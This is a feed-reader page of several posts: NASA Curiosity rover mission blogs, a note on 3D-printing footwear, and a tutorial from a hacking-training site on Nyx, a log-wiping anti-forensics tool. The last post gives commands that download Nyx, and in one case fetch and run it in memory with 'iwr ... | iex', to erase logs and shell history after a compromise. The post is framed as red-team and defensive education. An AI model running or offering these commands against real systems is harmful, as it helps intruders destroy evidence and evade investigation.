Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Curiosity Blog, Sols 4995-5001: 5,000 (Martian) Days on Mars

9 September 2026 at 02:20

4 min read

Curiosity Blog, Sols 4995-5001: 5,000 (Martian) Days on Mars

A black-and-white photograph from the Mars Curiosity rover showing a large, sweeping sand dune with a sharp, brightly sunlit crest. To the left are scattered flat rocks, and more rolling dunes stretch into the distant background.
NASA’s Mars rover Curiosity acquired this image along Chocolatal ripple using its Right Navigation Camera on Aug. 28, 2026 — Sol 4998, or Martian day 4,998 of the Mars Science Laboratory mission — at 13:58:36 UTC.
NASA/JPL-Caltech

Written by William Farrand, Senior Research Scientist, Space Science Institute

Earth planning date: Friday, Aug. 28, 2026

The span of sols spanned by this blog post is noteworthy in several ways. First, Curiosity became a world-class (for Mars at least) mountaineer by passing the 1 kilometer mark of elevation from its landing site on the floor of Gale crater. This writer was on the Mars Exploration Rover science team and we were excited when the Spirit rover got to the top of Husband Hill in Gusev crater in August 2005. But that was a climb of 106 meters (about 348 feet) above its landing site, and Curiosity has passed 1000 meters (about 0.62 miles). 

Second, Saturday, Aug. 29, marked 5,000 Martian days (or sols) since Curiosity landed on Mars (that’s more than 5,137 Earth days, because a day on Mars lasts 24.6 hours). Congratulations are in order to the engineers and scientists who have made this landmark possible. 

Finally, in terms of its science activities Curiosity is examining a wind-formed, long, narrow, large ripple which has been named “Chocolatal.” Further examination will help determine if this feature could be classified as a “transverse aeolian ridge” or TAR. TARs have been observed across the Martian surface based on orbital imaging. The long axis of a TAR is oriented perpendicular to the local predominant wind direction. While this is not the first potential TAR that has been examined by Curiosity, its location, higher on the slopes of Mount Sharp invites questions about whether it will be composed of the same types of granular materials found in the lower TARs, or whether it has a different range of grain sizes and/or layering. 

Other questions to be addressed include how the ridge formed, whether it is active, how it has migrated, and, if it is immobile, then how has it stabilized?

At the start of the planning week, Curiosity was en route to the sand ripple and encountered interesting science targets along the way. In Monday’s two-sol plan, in-situ examinations were planned of the light-toned bedrock occurring along the rover’s path. Some of the rocks encountered near the rover had dark-toned thick coatings or remnant layers, and these were targeted for chemical examination by the rover’s ChemCam Laser Induced Breakdown Spectroscopy (LIBS) instrument. Mastcam and ChemCam Remote Micro Imager (RMI) mosaics were planned, for layers in buttes along the rover’s path, and on more distant sets of sand ripples.

A midweek planning session took advantage of the last drive, leaving the rover only a few meters from Chocolatal. ChemCam was able to target sand at the base of Chocolatal as well as nearby bedrock. Stand-off Mastcam high-resolution image mosaics of the ripple were also targeted. The drive planned midweek took the rover right into Chocolatal with one of its wheels and then backing off a little, so in the end-of-week plan, contact science could be planned within the trenched region.

The final planning session of the week, which extended through the landmark Sol 5000, involved MAHLI mosaics of the right wall of the trench to see if there is layering, and to assess any variations in grain size. It’s noteworthy that these MAHLI mosaics are being named in honor of our late colleague Paul Geissler, who was one of the foremost experts on the study of Martian TARs and who was working with the MAHLI team before his untimely passing earlier in the year. In-situ APXS measurements were planned of the coarse-grained surface of the ripple, and ChemCam LIBS measurements were planned on the top of Chocolatal, a sinuous feature looking like a “mohawk” haircut (see the accompanying image). LIBS was also planned on a dark band on its flank and at the back of the scuff/trench. Other activities in the three-sol plan included Mastcam mosaics, an AM Navcam dust-devil survey, Navcam suprahorizon survey, and APXS atmospheric measurements.

With 5000 sols of outstanding scientific accomplishments, the Curiosity science and engineering team looks forward to the next 5000 sols.

A rover sits on the hilly, orange Martian surface beneath a flat grey sky, surrounded by chunks of rock.
NASA’s Curiosity rover at the base of Mount Sharp
NASA/JPL-Caltech/MSSS

Share

Details

Last Updated
Sep 09, 2026

Related Terms

Curiosity Blog, Sols 4988-4994: More New Tricks for an Old Dog

3 September 2026 at 11:59

2 min read

Curiosity Blog, Sols 4988-4994: More New Tricks for an Old Dog

A close-up view of the Martian surface taken by the Curiosity rover. The terrain consists of fine, reddish-brown sand scattered with small rocks. On the center-left, a prominent pebble casts a distinct shadow to the right. In the upper right area, there is a shallow, circular depression in the soil, revealing the slightly rougher texture beneath the top layer of dust. Faint, straight lines or cracks are visible intersecting across the dusty terrain.
NASA’s Mars rover Curiosity acquired this image using its Mars Hand Lens Imager (MAHLI), showing an example of a broad pit that appeared in workspaces this week. The pit diameter is about 1 centimeter (0.39 inches). MAHLI is located on the turret at the end of the rover’s robotic arm, and uses an onboard focusing process to make a composite of images of the same target acquired at different focus positions, in order to make a single image that brings as many features into focus as possible. Curiosity created the composite on Aug. 19, 2026 — Sol 4989, or Martian day 4,989 of the Mars Science Laboratory mission — at 07:59:21 UTC.
NASA/JPL-Caltech/MSSS

Written by Michelle Minitti, MAHLI Deputy Principal Investigator

Earth planning date: Friday, Aug. 21, 2026

After Curiosity’s 14 years on the surface, Mars continues to surprise. Both of our workspaces this week contained features unlike quite anything we have seen in the past — broad, shallow pits (like the one in the image above) dotted across the bedrock. Pits are not uncommon — when resistant nodules or pebbles weather out of their host rock, they leave behind a void. But the pits of this week were much broader and shallower than past features and were not accompanied by obvious objects that were once in the pits. MAHLI and Mastcam were particularly interested in these features, acquiring stereo mosaics of them and tightly overlapping image sets that can be turned into a digital elevation model of their structure. They were a welcome new puzzle into the processes that have affected this particular section of rocks in the stratigraphy of Mount Sharp. 

The “typical” bedrock was anything but boring. Mastcam imaged and ChemCam rastered across complex packages of layers with changes in texture and structure over short vertical differences. These might be evidence of changes in depositional conditions captured in close proximity to one another. ChemCam, MAHLI, and APXS analyzed gray, rough, resistant layers that differed from the host bedrock, likely indicative of a different chemistry. ChemCam studied one of the gray float rocks (like the small, loose pebble in the image above) that have been scattered variably across our workspaces, to try to understand the origins of these stones. Farther afield, the “Cordillera” butte continued to garner attention, with a comprehensive Mastcam mosaic covering its entire visible face, and more focused ChemCam RMI mosaics aimed at specific horizons. The “Tolhuaca” and “Potosí” buttes, which are farther south down “Valle Grande,” were also targets, with ChemCam looking for potential crossbedding and assessing the mineralogy of dark material capping Potosí. 

Our environmental science team members were just as busy, planning REMS, Mastcam, and Navcam activities at a higher-than-usual cadence to monitor a potential regional dust storm. They found by the end of the week, however, that the storm appeared to be dissipating. 

We managed to accomplish all of this despite having lost one of our planning days due to a lost downlink. 

A rover sits on the hilly, orange Martian surface beneath a flat grey sky, surrounded by chunks of rock.
NASA’s Curiosity rover at the base of Mount Sharp
NASA/JPL-Caltech/MSSS

Share

Details

Last Updated
Sep 03, 2026

Related Terms

Straight Talk on 3D Printing Footwear At Home

25 August 2026 at 01:00

Printed footwear is an intriguing idea, but as far as projects go it is somewhat more complex than it first appears. This guide to 3D printing your own clogs not only provides a solid process, but also acts as a list of the challenges and pitfalls involved. After all, a piece of footwear is actually a fairly large object. Failed prints can be costly and time-consuming, so a guide like this is a valuable resource.

First of all, a 3D printer that can handle multi-material printing is called for. The footwear itself will be printed in TPU 90A as a sweet spot for hardness, but the print will require supports and those supports will need to peel away cleanly. The solution is a shoe printed in TPU with a rigid support structure of PLA. Using two different materials in the same print with anything remotely resembling efficiency calls for either a dual-nozzle print head, or a multi-toolhead printer.

3D printing one’s own clogs can be rewarding, if not necessarily cost-effective.

Here we want to take a moment and say that while the guide itself suggests PETG is also a suitable support structure, we suspect this might only be true for the exact filament formulations used in the guide. The safer approach is to use PLA. Why? As we’ve seen in other tests, PETG has been observed to stick extremely well to flex filaments in general, whereas PLA doesn’t really want to stick to anything other than PLA. The exact formulations of TPU and PETG used in the guide might be compatible with one another, but in general we recommend sticking to PLA as a rigid support for flexible filament.

Assuming a capable printer and suitable materials are nailed down, one also needs to worry about keeping the TPU dry. It is very sensitive to moisture, which directly affects print quality. You’ll also need to dial in the settings — a gyroid-patterned infill of 15% provides the right amount of “squish”, which is most effectively fine-tuned by changing the infill pattern rather than the density.

Is it worth the time and effort and filament cost to print one’s own pair of slip-ons versus simply buying a pair of Crocs®? Maybe not, but it can still be rewarding and this guide will help minimize any failed prints in the process. And if you do get a nice print but the TPU is sticking a little too well to the build plate, reach for the isopropyl alcohol.

Curiosity Blog, Sols 4982–4987: Back to Our Regularly Scheduled Programming

23 August 2026 at 03:39

3 min read

Curiosity Blog, Sols 4982–4987: Back to Our Regularly Scheduled Programming

A black-and-white close-up from the Curiosity rover showing a jagged, deeply eroded rock ledge casting a dark shadow, with thinly layered, flat sedimentary rocks visible in the upper left corner.
NASA’s Mars rover Curiosity acquired this image, of thin, ledge-like layers at target “Los Toldos,” using its Right Mast Camera (Mastcam). Curiosity captured the image on Aug. 12, 2026 — Sol 4982, or Martian day 4,982 of the Mars Science Laboratory mission — at 01:05:04 UTC.
NASA/JPL-Caltech/MSSS

By Allison Dries-Padilla, Missions Operations Specialist at Malin Space Science Systems

Earth planning date: Friday, Aug. 14, 2026

This week of Curiosity Mars rover operations takes us back to our “regularly scheduled programming.” After taking a slight detour to investigate the “erosional surface” we are back on course to ascend Mount Sharp. As we transition into fall in Gale Crater, temperatures and the likelihood of dust storms begins to drop, but Curiosity is still on the lookout for the last gasp of late-season local and regional dust storms.

Monday’s plan for Sols 4982 to 4985 began with Curiosity standing face to face with a unique geologic feature just above the erosional supersurface contact. As you might have read in the previous blog, the team was fortunate enough to spend two planning cycles at this amazing location. MAHLI used this opportunity to reacquire selected images for the mosaic of target “Tres Morros.” This will allow the science team to have a detailed and focused view of the underside of this feature. APXS took measurements of the bedrock target “El Motacusal” after it had been brushed with the DRT. APXS took a second measurement on the “as is” bedrock target “Alto de Carmen.” Both of these APXS targets were documented with high-resolution images taken by MAHLI. ChemCam activities include LIBS spectroscopy on bedrock targets “Lagunas Bravas” and “Parququcha” and ChemCam Remote Micro-Imaging on Mishe Mokwa. I had the pleasure to be on the Mastcam uplink shift for this plan. Mastcam took a near-field mosaic of the erosional ridge, dubbed “Los Toldos,” as well as a mosaic on further away bedrock exposure above the erosional surface, named “Los Ladrillos.” In addition to these mosaics, Mastcam also provided color documentation of the previous plan’s ChemCam Remote Micro-Imaging on Cordillera and the ChemCam LIBS activities taken in this plan.

Curiosity then drove 100 feet (30 meters) to take us to our location for Friday’s plan for Sols 4985 to 4987. Although we had plenty of flat and tasty bedrock in this new location, we could not place the robotic arm in a safe position to DRT the bedrock. The left-front wheel was perched on a small rock, and we had to account for a risk the rover could slip off this rock as we move the arm around. MAHLI and APXS were still able to safely perform contact science on two bedrock targets, “Mamorecillo” and “Aguas Claras.” MAHLI had an additional housekeeping activity to image the calibration target. ChemCam plans to use its laser spectrometer to gather geochemistry on three targets in this vicinity, followed by Mastcam documentation. Today’s ChemCam LIBS targets include a dark-toned resistant layer in the bedrock “Yura Kasa.” Mastcam is planning a series of mosaics to continue imaging the stratigraphy in the unit above the erosional contact.

Today’s plan was packed with environmental monitoring activities to monitor for dust storms. Mastcam took a flurry of dust-imaging observations to measure optical depth, or “tau,” of the atmosphere. A higher tau value is associated with an increased amount of dust in the atmosphere. APXS joined in on the action by planning an overnight atmospheric measurement. Navcam took on most of the heavy lifting to monitor for dust storms. These activities include multiple large dust-devil surveys, zenith observation, in-crater line-of-sight observations, and suprahorizon cloud movies.

Curiosity will then continue to climb Mount Sharp; the planned drive distance of 150 feet (47 meters) will take the rover southwest of our current location. We will return Monday to start a new week full of contact science, remote sensing, and driving on Mars.

A rover sits on the hilly, orange Martian surface beneath a flat grey sky, surrounded by chunks of rock.
NASA’s Curiosity rover at the base of Mount Sharp
NASA/JPL-Caltech/MSSS

Share

Details

Last Updated
Aug 23, 2026

Related Terms

Curiosity Blog, Sols 4975-4981: Happy 14th Landing Anniversary

17 August 2026 at 19:10

6 min read

Curiosity Blog, Sols 4975-4981: Happy 14th Landing Anniversary

A black-and-white image from the Curiosity rover on Mars. The rover's robotic arm and instrument turret are extended downward toward a large, flat, cracked rock on the Martian surface. Portions of the rover's wheels are visible on the left and right edges, with a barren, rocky landscape and distant hills in the background.
NASA’s Mars rover Curiosity acquired this image, of its onboard APXS instrument measuring target “Tunas Khasa,” using its Front Hazard Avoidance Camera (Front Hazcam). Curiosity captured the image on Sol 4976 — Martian day 4,976 of the Mars Science Laboratory mission — at 03:01:56 UTC.
NASA/JPL-Caltech

By Susanne P. Schwenzer, Professor of Planetary Mineralogy at The Open University, UK

Earth planning date: Friday, Aug. 7, 2026

This week was very special for the Curiosity team here on Earth as we celebrated the 14th landing anniversary. I still remember watching the buildup to the entry phase on “Eyes on the Solar System” and then I don’t remember much until I heard the words, “We are safe on Mars.” I was just too tense and nervous, but I love to re-live the moments each year when we celebrate another (Earth) year on Mars. If you want to remember it all, you can go to NASA’s interactive tool “Eyes on the Solar System” use the menu and find the Mars Science Laboratory Rover in the list of spacecraft. Curiosity launched Nov. 26, 2011, 15:02 UTC; you can wind back the clock to that day as the spacecraft leaves Earth and follow as it gradually makes its way to Martian orbit, where it meets Mars at just the right moment. Curiosity landed Aug. 6, 2012, 05:17 UTC. The big moment to me, though, is to see the joy and celebrations in the control room after landing. I have watched this video more times than I can count; it’s just too good to not remember: Curiosity Has Landed – NASA Science.

But what did we do in that very special week that marked the transition from year 14 to year 15? Of course it was business as usual for the rover while many of us exchanged memories and also marveled at what we have found to date. If you are interested what exactly Curiosity did at the moment in time that marked the landing anniversary, we’ve got you covered — with the help of the science and engineering team at JPL in Pasadena, I can tell you that this was on Sol 4976 at 19:47 LMST on Mars, and at that very moment the rover’s arm was deployed at the target “Tunas Khasa” doing an APXS measurement.

The rover continued its way up Mount Sharp investigating the different layers of rock along the way. This climb can be quite steep and coming into Monday’s plan was no different. At one point last Friday the rover’s tilt was 24 degrees. But the engineers know exactly what Curiosity can do, so we arrived safely at our planned location coming into Monday. At this first stop of the week, the APXS measured “Tunas Khasa” and “Villarrica,” which were also imaged with our Mars Hand Lens Imager (MAHLI). More chemistry came from ChemCam investigating the targets “Lago Rupanco” and “Chulipa Punta.” ChemCam also used its Remote Micro Imager to acquire high-resolution images of targets of interest. We are specifically looking for the cross-bedding, a term geologists use to describe rock layers that tilt and intersect each other, and how the different layers of rock relate to each other. Mastcam had five different mosaics in the plan, investigating targets in the nearfield and looking into the distance, too. The targets range from layers of rocks in the walls that make up the buttes around the rover to bedrock targets in the nearfield. “La Linea” is a surface that displays signs of erosion, and “Tiraque” gives insights into the layering of the bedrock, just to name two of the Mastcam targets. Of course, the future drive direction and the future workspace​ were also imaged after the drive. In addition to the science, there were some “housekeeping” activities in the plan, too. Those were a SAM column-cleaning activity and MAHLI images of the REM UV sensor. It’s important to keep on top of these things, too!

The 46-foot (14-meter) drive put us into the perfect position in front of one of those very special places, where not only two different rock layers meet, but also where cross-bedded rocks are truncated by other layers. It is those special places that allow us – one by one – to put the pieces of the puzzle together, showing what happened here billions of years ago. One thing is clear: it involved wind, lots of wind, but also some water. As this location is an exceptionally interesting place, we will stay here through Monday and spend two planning cycles at this location.

On Friday we planned two APXS on a bedrock block in front of us – keeping in mind two others for our colleagues to plan on Monday. The two targets are “Salar de Gorbea” and “Uriondo.” MAHLI documents those two, but also has a mosaic in the plan that is one of the largest I have ever seen. It’s on the target “Tres Morros,” which is an excellent example on how exactly those different rock layers meet. The team can’t wait to see the high-resolution MAHLI images and inspect every single detail visible in them. Mastcam also was very busy, investigating representative outcrops in the nearfield and further away. Targets to especially look out for are “Laguna Del Eulogio” and “Laguna de Pozuelo,” as they image outcrops related to the changes in the rock layers and further ahead on a butte called Mishe Mokwa. You might remember the latter from many mentions previously as we were driving along and around it, and using repeated images to get stereo views, but also understand different aspects of the stratigraphy (the way rocks are layered). ChemCam looks at target “Rio Tranquilo,” which is a nodular target, possibly giving insights into the water-related part of the environments that formed those rocks. The other ChemCam target is “Rio Juncalito,” which is a cross-bedded target. ChemCam also has two RMIs in the plan, one targeting forward toward Valle Grande and the other looking at Mishe Mokwa.

Both plans contain a rich set of environmental monitoring. There are many dust-devil surveys alongside measurements of the atmospheric opacity and wind monitoring. We are also looking for clouds, and of course the RAD instrument is actively measuring the radiation environment. It rarely gets a mention here, because it sits quietly in its place within the rover, looking out to the sky and monitoring the radiation — for all those 14 years, and in fact a little longer, because it was the first instrument to be switched on after launch and already started its monitoring during the cruise phase to Mars.

Happy 14th Landing Anniversary, Curiosity!

A rover sits on the hilly, orange Martian surface beneath a flat grey sky, surrounded by chunks of rock.
NASA’s Curiosity rover at the base of Mount Sharp
NASA/JPL-Caltech/MSSS

Share

Details

Last Updated
Aug 17, 2026

Related Terms

Curiosity Blog, Sols 4968-4974: Rock Climbing Towards the Discontinuity

11 August 2026 at 02:50

3 min read

Curiosity Blog, Sols 4968-4974: Rock Climbing Towards the Discontinuity

A close-up color photograph taken by the Curiosity rover showing a rough, tan-colored rock surface on Mars. The rock is highly textured, covered in fine parallel layers, small raised ridges, and thin cracks that cast tiny shadows. In the bottom right corner, a small drift of smooth, fine sand rests against the jagged rock.
NASA’s Mars rover Curiosity acquired this image, a frame of the “Longquimay” mosaic showing fine-scale sedimentary textures in a bedrock block near the supersurface, using its Mars Hand Lens Imager (MAHLI), located on the turret at the end of the rover’s robotic arm. Curiosity acquired the image on Aug. 1, 2026 — Sol 4972, or Martian day 4,972 of the Mars Science Laboratory mission — at 23:35:43 UTC.
NASA/JPL-Caltech/MSSS

Written by Lucy Lim, Planetary Scientist at NASA’s Goddard Space Flight Center

Earth planning date: Friday, July 31, 2026

As mentioned in the previous blog, Curiosity has been exploring a large-scale feature in Gale’s sedimentary record suspected to be an “erosional supersurface.” The “supersurface” represents a period in time when a net depositional environment changed to a net erosional one before returning to a depositional regime, thus producing a discontinuity in the rock record. The erosion can involve wind, water, or both. Sometimes there are clues about these environmental changes in the layers below and above the supersurface. So far we’ve been seeing some patterns that look like aeolian features and also some “lens” deposits that sometimes appear consistent with fluvial origins. We need higher-resolution imaging of these features.

This week Curiosity came within detailed imaging range of a section of the “Cerro Paine Grande” vertical exposure just below the candidate supersurface before climbing on top of it. Mastcam was the star of the show on both planning days this week, capturing large stereo mosaics of the vertical face of the outcrop and a 360-degree panorama after the rover climbed on top of it.

A black-and-white photograph taken by the Curiosity rover on Mars. The rover's mechanical arm extends from the left side of the frame toward the center, revealing a complex cluster of scientific instruments at its end. Below the arm, the Martian terrain consists of large, flat slabs of cracked, textured bedrock. The background is filled with scattered, lighter-colored rocks and patches of dark sand with small wind ripples.
NASA’s Mars rover Curiosity acquired this image, showing the rover arm in action in the “Longquimay” workspace at the top of a steep climb. Curiosity captured the image using its Right Navigation Camera on Aug. 2, 2026 — Sol 4972, or Martian day 4,972 of the Mars Science Laboratory mission — at 00:49:52 UTC.
NASA/JPL-Caltech

Roving to the top took full advantage of Curiosity’s climbing capabilities, leaving the rover at an approximate 24-degree tilt in its final parking spot. The rover planners managed to reach the right posture for contact science at the same time — quite a feat, and one that approached the mission’s contact science tilt record of 27 degrees!

Meanwhile, MAHLI and our geochemical instruments provided detailed characterization of the rock layers beneath the discontinuity. I was the Geology and Mineralogy Theme Lead for the Sol 4968 (Monday) planning cycle, during which “Puyehue” in the light-toned bedrock block of the workspace was co-targeted with APXS, MAHLI, and ChemCam LIBS. The other two targeted LIBS observations in the plan went to a similar-looking nearby bedrock block (“Lago Palena”) and an intriguing layered block off to the side of the workspace (“Piedras Juntas”). Another APXS measurement went to a sand target, “Cormudesi,” which will help us assess the consistency of sand compositions along the rover’s traverse.

In the Sol 4972 workspace atop the slope, the bedrock was sharply divided between a smooth bedding-parallel surface on the local top of the outcrop and the darker-toned, rougher, angled exposure of the same rocks. The light-toned top surface was measured by MAHLI, APXS, and the LIBS at target “Sierra de Sangre,” whereas the darker-toned laminated face was targeted by APXS and MAHLI at “Laguna del Laja.” The fine-scale sedimentary structures in the textured material were also documented by a MAHLI mosaic (“Longquimay”) supported by Mastcam M100 imaging.

Rounding out the week’s science observations were several long-distance ChemCam RMI mosaics on more distant targets such as sedimentary structures above the rover’s current stratigraphic position, and finally our regular cadence measurements of the modern Martian environment, including atmospheric opacity and a ChemCam passive-sky survey to monitor abundances of minor atmospheric gases.

A rover sits on the hilly, orange Martian surface beneath a flat grey sky, surrounded by chunks of rock.
NASA’s Curiosity rover at the base of Mount Sharp
NASA/JPL-Caltech/MSSS

Share

Details

Last Updated
Aug 11, 2026

Related Terms

Anti-Forensics: Hiding Your Presence with Nyx

3 August 2026 at 10:36

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.

❌
❌